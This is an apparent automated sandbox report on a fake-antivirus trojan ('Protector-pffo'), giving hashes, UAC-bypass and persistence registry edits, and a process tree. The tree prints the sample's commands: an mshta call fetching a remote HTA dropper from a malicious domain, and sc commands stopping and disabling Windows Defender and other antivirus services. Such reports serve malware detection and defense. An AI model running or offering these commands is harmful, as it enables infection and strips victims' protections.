9da45c1414fde84e01fbe21e66ab691b1201aaa24c72f8575f5dec3f0fbd23b8

Analysis

max time kernel
150s
max time network
126s
platform
windows10-2004_x64
resource
win10v2004-20240221-en
resource tags

arch:x64arch:x86image:win10v2004-20240221-enlocale:en-usos:windows10-2004-x64system
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General

Target

a178083977255560a5e3b886e4f79ce7.exe
Size

2.0MB
MD5

a178083977255560a5e3b886e4f79ce7
SHA1

9c59fec6a7d2559db0566ef5adc93740dcc67bad
SHA256

9da45c1414fde84e01fbe21e66ab691b1201aaa24c72f8575f5dec3f0fbd23b8
SHA512

1136f7e5bd5f062fe1249db4d8bddab33f848bb3c901bcde1cdf33f0f7761f104156e5799c64b4e65cf2235d404b1114a246faac5a811b992b222387f80942af
SSDEEP

49152:Dtq2uoGFcKkmE7BRCp4u3e3S5y1Shi35U0thsf:Dduo4cKkmISZe371SgJB4

Score

10^/10

evasion persistence trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://galaint.coolsecupdate.info/?0=154&1=1&2=1&3=38&4=i&5=9200&6=6&7=2&8=919041&9=1033&10=0&11=0000&12=yvcpifbvek&14=1

Signatures

UAC bypass 3 TTPs 3 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Protector-pffo.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Protector-pffo.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	Protector-pffo.exe

Disables taskbar notifications via registry modification
evasion

Sets file execution options in registry 2 TTPs 64 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pcip10117_0.exe\Debugger = "svchost.exe"	Protector-pffo.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\programauditor.exe\Debugger = "svchost.exe"	Protector-pffo.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Save.exe	Protector-pffo.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scrscan.exe\Debugger = "svchost.exe"	Protector-pffo.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\shn.exe\Debugger = "svchost.exe"	Protector-pffo.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoler.exe	Protector-pffo.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcagent.exe\Debugger = "svchost.exe"	Protector-pffo.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pav.exe\Debugger = "svchost.exe"	Protector-pffo.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kerio-pf-213-en-win.exe\Debugger = "svchost.exe"	Protector-pffo.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsetup.exe\Debugger = "svchost.exe"	Protector-pffo.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spywarexpguard.exe	Protector-pffo.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vbwin9x.exe	Protector-pffo.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AAWTray.exe	Protector-pffo.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AntivirusPlus	Protector-pffo.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iedll.exe\Debugger = "svchost.exe"	Protector-pffo.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msccn32.exe	Protector-pffo.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\support.exe	Protector-pffo.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\aswUpdSv.exe\Debugger = "svchost.exe"	Protector-pffo.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iedll.exe	Protector-pffo.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AntivirusXP.exe	Protector-pffo.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashDisp.exe\Debugger = "svchost.exe"	Protector-pffo.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avkservice.exe	Protector-pffo.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avkwctl9.exe	Protector-pffo.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\divx.exe\Debugger = "svchost.exe"	Protector-pffo.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dop.exe\Debugger = "svchost.exe"	Protector-pffo.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mapisvc32.exe	Protector-pffo.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mctool.exe	Protector-pffo.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nvc95.exe	Protector-pffo.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sgssfw32.exe\Debugger = "svchost.exe"	Protector-pffo.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sphinx.exe	Protector-pffo.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tds-3.exe	Protector-pffo.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tsadbot.exe	Protector-pffo.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winactive.exe	Protector-pffo.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MPFSrv.exe\Debugger = "svchost.exe"	Protector-pffo.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mssys.exe\Debugger = "svchost.exe"	Protector-pffo.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ibmasn.exe	Protector-pffo.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netspyhunter-1.2.exe\Debugger = "svchost.exe"	Protector-pffo.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vet32.exe	Protector-pffo.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\zapro.exe\Debugger = "svchost.exe"	Protector-pffo.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AntivirusPro_2010.exe\Debugger = "svchost.exe"	Protector-pffo.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hbinst.exe\Debugger = "svchost.exe"	Protector-pffo.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bspatch.exe\Debugger = "svchost.exe"	Protector-pffo.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\keenvalue.exe\Debugger = "svchost.exe"	Protector-pffo.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ldpromenu.exe\Debugger = "svchost.exe"	Protector-pffo.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notstart.exe\Debugger = "svchost.exe"	Protector-pffo.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sweepnet.sweepsrv.sys.swnetsup.exe\Debugger = "svchost.exe"	Protector-pffo.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\watchdog.exe	Protector-pffo.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcsysmon.exe\Debugger = "svchost.exe"	Protector-pffo.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bipcp.exe	Protector-pffo.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pf2.exe\Debugger = "svchost.exe"	Protector-pffo.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashServ.exe\Debugger = "svchost.exe"	Protector-pffo.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgcmgr.exe\Debugger = "svchost.exe"	Protector-pffo.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bootwarn.exe	Protector-pffo.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\firewall.exe\Debugger = "svchost.exe"	Protector-pffo.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gator.exe\Debugger = "svchost.exe"	Protector-pffo.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mscman.exe	Protector-pffo.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tvmd.exe	Protector-pffo.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\W3asbas.exe\Debugger = "svchost.exe"	Protector-pffo.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgemc.exe\Debugger = "svchost.exe"	Protector-pffo.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avkpop.exe	Protector-pffo.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\system.exe	Protector-pffo.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\whoswatchingme.exe\Debugger = "svchost.exe"	Protector-pffo.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hxdl.exe	Protector-pffo.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spyxx.exe\Debugger = "svchost.exe"	Protector-pffo.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2132103209-3755304320-2959162027-1000\Control Panel\International\Geo\Nation	o4ib9o461wv8827.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2132103209-3755304320-2959162027-1000\Control Panel\International\Geo\Nation	4epu7913jyq24zg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2132103209-3755304320-2959162027-1000\Control Panel\International\Geo\Nation	a178083977255560a5e3b886e4f79ce7.exe

Executes dropped EXE 3 IoCs

pid	Process
4848	o4ib9o461wv8827.exe
2088	4epu7913jyq24zg.exe
1116	Protector-pffo.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2132103209-3755304320-2959162027-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Inspector = "C:\\Users\\Admin\\AppData\\Roaming\\Protector-pffo.exe"	Protector-pffo.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Protector-pffo.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\services.msc	Protector-pffo.exe
File opened for modification	C:\Windows\SysWOW64\eventvwr.msc	Protector-pffo.exe
File opened for modification	C:\Windows\SysWOW64\diskmgmt.msc	Protector-pffo.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4724	sc.exe
4144	sc.exe
4092	sc.exe
2800	sc.exe
3936	sc.exe
1632	sc.exe
4648	sc.exe
724	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE ERROR PAGE BYPASS ZONE CHECK FOR HTTPS KB954312	Protector-pffo.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE ERROR PAGE BYPASS ZONE CHECK FOR HTTPS KB954312\iexplore.exe = "1"	Protector-pffo.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
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1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2088	4epu7913jyq24zg.exe
Token: SeShutdownPrivilege	2088	4epu7913jyq24zg.exe
Token: SeDebugPrivilege	1116	Protector-pffo.exe
Token: SeShutdownPrivilege	1116	Protector-pffo.exe

Suspicious use of FindShellTrayWindow 6 IoCs

pid	Process
2088	4epu7913jyq24zg.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe

Suspicious use of SendNotifyMessage 4 IoCs

pid	Process
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
2088	4epu7913jyq24zg.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe
1116	Protector-pffo.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 3548 wrote to memory of 4848	3548	a178083977255560a5e3b886e4f79ce7.exe	89
PID 3548 wrote to memory of 4848	3548	a178083977255560a5e3b886e4f79ce7.exe	89
PID 3548 wrote to memory of 4848	3548	a178083977255560a5e3b886e4f79ce7.exe	89
PID 4848 wrote to memory of 2088	4848	o4ib9o461wv8827.exe	90
PID 4848 wrote to memory of 2088	4848	o4ib9o461wv8827.exe	90
PID 4848 wrote to memory of 2088	4848	o4ib9o461wv8827.exe	90
PID 2088 wrote to memory of 1116	2088	4epu7913jyq24zg.exe	91
PID 2088 wrote to memory of 1116	2088	4epu7913jyq24zg.exe	91
PID 2088 wrote to memory of 1116	2088	4epu7913jyq24zg.exe	91
PID 2088 wrote to memory of 2456	2088	4epu7913jyq24zg.exe	92
PID 2088 wrote to memory of 2456	2088	4epu7913jyq24zg.exe	92
PID 2088 wrote to memory of 2456	2088	4epu7913jyq24zg.exe	92
PID 1116 wrote to memory of 1284	1116	Protector-pffo.exe	94
PID 1116 wrote to memory of 1284	1116	Protector-pffo.exe	94
PID 1116 wrote to memory of 1284	1116	Protector-pffo.exe	94
PID 1116 wrote to memory of 4144	1116	Protector-pffo.exe	98
PID 1116 wrote to memory of 4144	1116	Protector-pffo.exe	98
PID 1116 wrote to memory of 4144	1116	Protector-pffo.exe	98
PID 1116 wrote to memory of 2800	1116	Protector-pffo.exe	101
PID 1116 wrote to memory of 2800	1116	Protector-pffo.exe	101
PID 1116 wrote to memory of 2800	1116	Protector-pffo.exe	101
PID 1116 wrote to memory of 4092	1116	Protector-pffo.exe	100
PID 1116 wrote to memory of 4092	1116	Protector-pffo.exe	100
PID 1116 wrote to memory of 4092	1116	Protector-pffo.exe	100
PID 1116 wrote to memory of 3936	1116	Protector-pffo.exe	102
PID 1116 wrote to memory of 3936	1116	Protector-pffo.exe	102
PID 1116 wrote to memory of 3936	1116	Protector-pffo.exe	102
PID 1116 wrote to memory of 1632	1116	Protector-pffo.exe	103
PID 1116 wrote to memory of 1632	1116	Protector-pffo.exe	103
PID 1116 wrote to memory of 1632	1116	Protector-pffo.exe	103
PID 1116 wrote to memory of 4724	1116	Protector-pffo.exe	111
PID 1116 wrote to memory of 4724	1116	Protector-pffo.exe	111
PID 1116 wrote to memory of 4724	1116	Protector-pffo.exe	111
PID 1116 wrote to memory of 724	1116	Protector-pffo.exe	109
PID 1116 wrote to memory of 724	1116	Protector-pffo.exe	109
PID 1116 wrote to memory of 724	1116	Protector-pffo.exe	109
PID 1116 wrote to memory of 4648	1116	Protector-pffo.exe	104
PID 1116 wrote to memory of 4648	1116	Protector-pffo.exe	104
PID 1116 wrote to memory of 4648	1116	Protector-pffo.exe	104

System policy modification 1 TTPs 4 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	Protector-pffo.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Protector-pffo.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Protector-pffo.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	Protector-pffo.exe

C:\Users\Admin\AppData\Local\Temp\a178083977255560a5e3b886e4f79ce7.exe
"C:\Users\Admin\AppData\Local\Temp\a178083977255560a5e3b886e4f79ce7.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3548
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\o4ib9o461wv8827.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\o4ib9o461wv8827.exe" -e -p7yit6hq0c534ln6
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4848
- - C:\Users\Admin\AppData\Local\Temp\RarSFX1\4epu7913jyq24zg.exe
    "C:\Users\Admin\AppData\Local\Temp\RarSFX1\4epu7913jyq24zg.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2088
  - - C:\Users\Admin\AppData\Roaming\Protector-pffo.exe
      C:\Users\Admin\AppData\Roaming\Protector-pffo.exe
      4⤵
      UAC bypass
      Sets file execution options in registry
      Executes dropped EXE
      Adds Run key to start application
      Checks whether UAC is enabled
      Drops file in System32 directory
      Modifies Internet Explorer settings
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      System policy modification
      PID:1116
    - - C:\Windows\SysWOW64\mshta.exe
        
        mshta.exe "http://galaint.coolsecupdate.info/?0=154&1=1&2=1&3=38&4=i&5=9200&6=6&7=2&8=919041&9=1033&10=0&11=0000&12=yvcpifbvek&14=1"
        5⤵
        
        PID:1284
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop WinDefend
        5⤵
        Launches sc.exe
        
        PID:4144
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop msmpsvc
        5⤵
        Launches sc.exe
        
        PID:4092
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config WinDefend start= disabled
        5⤵
        Launches sc.exe
        
        PID:2800
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config msmpsvc start= disabled
        5⤵
        Launches sc.exe
        
        PID:3936
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config ekrn start= disabled
        5⤵
        Launches sc.exe
        
        PID:1632
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config AntiVirSchedulerService start= disabled
        5⤵
        Launches sc.exe
        
        PID:4648
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config AntiVirService start= disabled
        5⤵
        Launches sc.exe
        
        PID:724
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop AntiVirService
        5⤵
        Launches sc.exe
        
        PID:4724
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\4EPU79~1.EXE" >> NUL
      4⤵
      PID:2456

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

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C:\Users\Admin\AppData\Local\Temp\RarSFX0\o4ib9o461wv8827.exe

Filesize
2.0MB

MD5
8c03b4dc54244014229009d42e7c0455

SHA1
8df39a19d4601daf554143815b6afa3286904a7d

SHA256
012a675100f650f93436b0c226652b335db207b9ba04331d9d0513c975bb9010

SHA512
bbd9573f14411dd23689e103e2ba75bfc89b481e540450ba47fd1550b088177efedd5918713ebab9776b89a57a82f28ba9784785fcc22fc86e180aeb70724d08

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C:\Users\Admin\AppData\Local\Temp\RarSFX1\4epu7913jyq24zg.exe

Filesize
1.9MB

MD5
bfd99e635288e5e0f46f0e7aa150300c

SHA1
17b31bc6d8a5ca2c065fbaf3e1c755cf68ffd37b

SHA256
969006837a0889f09181454819b7a27d89ca11330b628d3faf56a3e46022fd01

SHA512
c806add828107536f463d3103be1907ddbe653a25fbf0e785dc69c2e9a52b76927a2d3efa6d509b85b97fa9710a3156273ee5c914f3365c5e854c6073da704cc

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memory/1116-205-0x0000000000400000-0x00000000007F1000-memory.dmp

Filesize
3.9MB

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memory/1116-239-0x0000000000400000-0x00000000007F1000-memory.dmp

Filesize
3.9MB

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memory/1116-240-0x0000000000400000-0x00000000007F1000-memory.dmp

Filesize
3.9MB

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memory/1116-241-0x0000000000400000-0x00000000007F1000-memory.dmp

Filesize
3.9MB

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memory/1116-242-0x0000000000400000-0x00000000007F1000-memory.dmp

Filesize
3.9MB

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memory/1116-251-0x0000000000400000-0x00000000007F1000-memory.dmp

Filesize
3.9MB

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memory/1116-247-0x0000000000400000-0x00000000007F1000-memory.dmp

Filesize
3.9MB

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memory/1116-246-0x0000000000400000-0x00000000007F1000-memory.dmp

Filesize
3.9MB

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memory/1116-245-0x0000000000400000-0x00000000007F1000-memory.dmp

Filesize
3.9MB

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memory/1116-244-0x0000000000400000-0x00000000007F1000-memory.dmp

Filesize
3.9MB

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memory/2088-57-0x0000000003860000-0x0000000003861000-memory.dmp

Filesize
4KB

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memory/2088-64-0x00000000038E0000-0x00000000038E1000-memory.dmp

Filesize
4KB

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memory/2088-24-0x00000000027D0000-0x00000000027D1000-memory.dmp

Filesize
4KB

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memory/2088-26-0x0000000003630000-0x0000000003631000-memory.dmp

Filesize
4KB

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memory/2088-27-0x0000000003620000-0x0000000003622000-memory.dmp

Filesize
8KB

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memory/2088-28-0x0000000003890000-0x0000000003891000-memory.dmp

Filesize
4KB

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memory/2088-29-0x0000000003670000-0x0000000003671000-memory.dmp

Filesize
4KB

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memory/2088-33-0x0000000003680000-0x0000000003681000-memory.dmp

Filesize
4KB

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memory/2088-31-0x0000000003610000-0x0000000003613000-memory.dmp

Filesize
12KB

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memory/2088-37-0x00000000008E0000-0x00000000008E1000-memory.dmp

Filesize
4KB

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memory/2088-39-0x0000000003640000-0x0000000003641000-memory.dmp

Filesize
4KB

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memory/2088-36-0x00000000008D0000-0x00000000008D1000-memory.dmp

Filesize
4KB

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memory/2088-40-0x0000000002830000-0x0000000002831000-memory.dmp

Filesize
4KB

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memory/2088-42-0x0000000002670000-0x0000000002671000-memory.dmp

Filesize
4KB

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memory/2088-43-0x00000000029A0000-0x00000000029A1000-memory.dmp

Filesize
4KB

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memory/2088-45-0x00000000028F0000-0x00000000028F1000-memory.dmp

Filesize
4KB

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memory/2088-47-0x0000000003690000-0x0000000003691000-memory.dmp

Filesize
4KB

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memory/2088-48-0x0000000002A50000-0x0000000002A51000-memory.dmp

Filesize
4KB

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memory/2088-49-0x00000000036B0000-0x00000000036B1000-memory.dmp

Filesize
4KB

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memory/2088-50-0x00000000036A0000-0x00000000036A1000-memory.dmp

Filesize
4KB

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memory/2088-51-0x00000000036C0000-0x00000000036C1000-memory.dmp

Filesize
4KB

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memory/2088-52-0x00000000036F0000-0x00000000036F1000-memory.dmp

Filesize
4KB

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memory/2088-54-0x0000000003850000-0x0000000003851000-memory.dmp

Filesize
4KB

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memory/2088-53-0x00000000036E0000-0x00000000036E1000-memory.dmp

Filesize
4KB

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memory/2088-56-0x0000000003870000-0x0000000003871000-memory.dmp

Filesize
4KB

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memory/2088-55-0x0000000003840000-0x0000000003841000-memory.dmp

Filesize
4KB

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memory/2088-23-0x0000000002800000-0x0000000002801000-memory.dmp

Filesize
4KB

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memory/2088-58-0x0000000003880000-0x0000000003881000-memory.dmp

Filesize
4KB

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memory/2088-59-0x00000000038B0000-0x00000000038B1000-memory.dmp

Filesize
